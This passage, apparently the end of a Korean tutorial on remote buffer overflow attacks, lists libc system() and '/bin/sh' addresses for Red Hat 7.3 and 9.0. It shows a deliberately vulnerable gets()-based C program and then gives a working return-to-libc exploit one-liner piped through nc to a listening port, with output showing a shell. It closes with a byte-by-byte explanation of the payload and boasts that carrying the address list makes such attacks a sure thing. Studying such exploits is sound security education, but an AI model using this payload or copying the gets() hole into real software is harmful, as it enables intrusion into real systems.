: 0x4005aae0 0x400fdff9 레드햇 7.3 : 0x42049e54 0x421273f3 레드햇 9.0 : 0x4203f2c0 0x42127ea4 ====================================== 이제 이 값들을 토대로 취약 프로그램에 대한 리모트 공격을 한번에 성공시켜보자. ◎ 취약 프로그램 ====================================================== int main() { char buffer[100]; gets(buffer); printf("당신이 입력한 문자열 : %s\n", buffer); } ====================================================== ◎ 공격 ======================================================================== [root@ftz BOF]# (perl -e 'printf "A"x124; printf "\x54\x9e\x04\x42AAAA"; printf "\xf3\x73\x12\x42"; printf "\n"';cat) | nc localhost 31337 id uid=1000(guest) gid=1000(guest) (공격 성공) ======================================================================== ◎ 공격 STRING 분석 - printf "A"x124 : 버퍼와 SFP를 덮을 쓰레기 값 - printf "\x54\x9e\x04\x42AAAA" : system 함수의 주소 + 쓰레기 4바이트(ret + 8에 인자가 위치함으로) - printf "\xf3\x73\x12\x42" : "/bin/sh"의 주소 - printf "\n" : 엔터 (gets에 대한 입력의 끝을 알림) 이제 공격 과정이 너무나도 간단해졌다. 위 주소 모음을 수첩에 적어놓고 다니면 버퍼 오버플로우 공격은 따논 당상이 된다. 참고로 위 주소 값은 로컬 환경에서도 그대로 적용되며, 만약 위 주소 값과 실제 값이 다른 상황이라고 하더라도 로컬에서 직접 주소를 구하면 되니 걱정할 필요가 없다. 이로써 총 7가지 방법으로 리모트 오버플로우 공격을 시도해 보았다. 이 것으로 문서를 마치도록 하고, 조만간 Xinetd에 연결되지 않고, 독립적으로 구현된 네트워크 프로그램에 대한 공격 테스트를 이번에 한 것과 같은 순서로 설명하여 올리도록 하겠다.